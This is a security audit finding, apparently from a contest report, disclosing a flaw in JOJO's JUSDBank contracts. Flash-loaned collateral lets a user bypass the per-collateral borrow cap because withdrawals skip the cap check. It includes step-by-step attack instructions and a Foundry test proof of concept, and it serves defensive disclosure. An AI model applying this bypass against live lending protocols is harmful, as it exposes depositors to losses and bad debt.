peakbolt

high

# `maxColBorrowPerAccount` borrow cap for collateral in JUSDBank can be bypassed

## Summary
The `maxColBorrowPerAccount` borrow cap for collateral can be bypassed to expose JUSD to risky collateral and increase bad debts.


## Vulnerability Detail

The `ReserveInfo.maxColBorrowPerAccount` borrow cap is used to restrict the amount of JUSD that can be borrowed  with the specified collateral per account.

The purpose is for protocol team to limit the JUSD exposure to specific collaterals and prevent accumulation of bad debts during market volatility.

The borrow cap is enforced by `JUSDView._isAccountSafeAfterBorrow()`, which ensures the user's JUSD borrow balance does not exceed `JUSDView._maxMintAmountBorrow()`.

However, the `_maxMintAmountBorrow()` calculates the max JUSD borrow amount for all collaterals owned by the users. This means that an attacker could bypass the `maxColBorrowPerAccount` for a specific collateral by using a flash loan to temporarily increase the max JUSD borrow amount using another collateral. Furthermore, the borrow cap is not checked upon withdrawals as `withdraw()` uses `_isAccountSafe()` instead.

The bypass can be performed as follows,
1. Attacker deposit Collateral A. (this can also be performed just before withdrawal)
2. Due to certain event, Protocol sets `maxColBorrowPerAccount` for collateral A to 0.
3. Attacker flash loan collateral B (with a non-zero borrow cap) and deposit into JUSD to increase his `_maxMintAmountBorrow()`.
4. Attacker proceeds to borrow JUSD.
5. Attacker withdraws Collateral B and repay flash loan.
6. Attacker now has borrowed JUSD that are backed by Collateral A, bypassing the borrow cap.

### Proof of Concept
Add the following test to `JUSDBankBorrow.t.sol`. It shows that borrow cap can be bypassed using flash loan.

```Solidity
    function testBypassMaxBorrowPeakbolt() public {

        // init balance
        mockToken1.transfer(alice, 100e18);

        // alice deposit mockToken1 before borrow cap is updated
        vm.startPrank(alice);
        mockToken1.approve(address(jusdBank), 10e18);
        jusdBank.deposit(alice, address(mockToken1), 10e18, alice);
        vm.stopPrank();

        //JOJOExchange set borrow cap for mockToken1 to zero (e.g. to reduce exposure to mockToken1)
        jusdBank.updateReserveParam(
            address(mockToken1),
            8e17,
            4000e18,
            2030e18,
            0
        );

        // borrow cap for mockToken1 is zero now
        assertEq(jusdBank.getCollateralMaxMintAmount(address(mockToken1),10e8),0);

        //simulate alice's flashloan of mockToken2
        mockToken2.transfer(alice, 100e8); 

        // deposit mockToken2
        vm.startPrank(alice);
        mockToken2.approve(address(jusdBank), 10e8);
        jusdBank.deposit(alice, address(mockToken2), 10e8, alice);

        // borrow based on mockToken2 borrow cap
        jusdBank.borrow(8e9, alice, false);
        uint256 jusdBalance = jusdBank.getBorrowBalance(alice);

        // withdraw mockToken2 and bypass borrow cap for mockToken1
        // this is incorrect as borrow cap for mockToken1 is zero.
        jusdBank.withdraw(address(mockToken2), 10e8, alice, false);

        // simiular alice repaying flashloan of mockToken2
        mockToken2.transfer(address(100), 100e8);
        vm.stopPrank();

        // alice managed to borrow 8e9 JUSD with 10e18 of mockToken1 by bypassing borrow cap
        assertEq(jusdBalance, 8e9);
        assertEq(jusd.balanceOf(alice), 8e9);
        assertEq(mockToken1.balanceOf(alice), 90e18);
        assertEq(jusdBank.getDepositBalance(address(mockToken1), alice), 10e18);
        assertEq(jusdBank.getDepositBalance(address(mockToken2), alice), 0);

    }
```

## Impact
This issue means attackers can possibly weaken the soundness of JUSD by increasing the stablecoin's exposure to a risky collateral, causing bad debts to pile up during market volatility. That will cause `JUSDBank` to be stuck with huge amount of liabilities, possibly triggering a JUSD depeg event.


## Code Snippet

https://github.com/sherlock-audit/2023-04-jojo/blob/main/JUSDV1/src/Impl/JUSDBank.sol#L114

https://github.com/sherlock-audit/2023-04-jojo/blob/main/JUSDV1/src/Impl/JUSDView.sol#LL106C1-L118C6

https://github.com/sherlock-audit/2023-04-jojo/blob/main/JUSDV1/src/Impl/JUSDView.sol#L159-L177

https://github.com/sherlock-audit/2023-04-jojo/blob/main/JUSDV1/src/Impl/JUSDView.sol#L135-L136

https://github.com/sherlock-audit/2023-04-jojo/blob/main/JUSDV1/src/lib/DataTypes.sol#L16


## Tool used
Manual review

## Recommendation
Check the borrow cap is not exceeded on withdrawal.

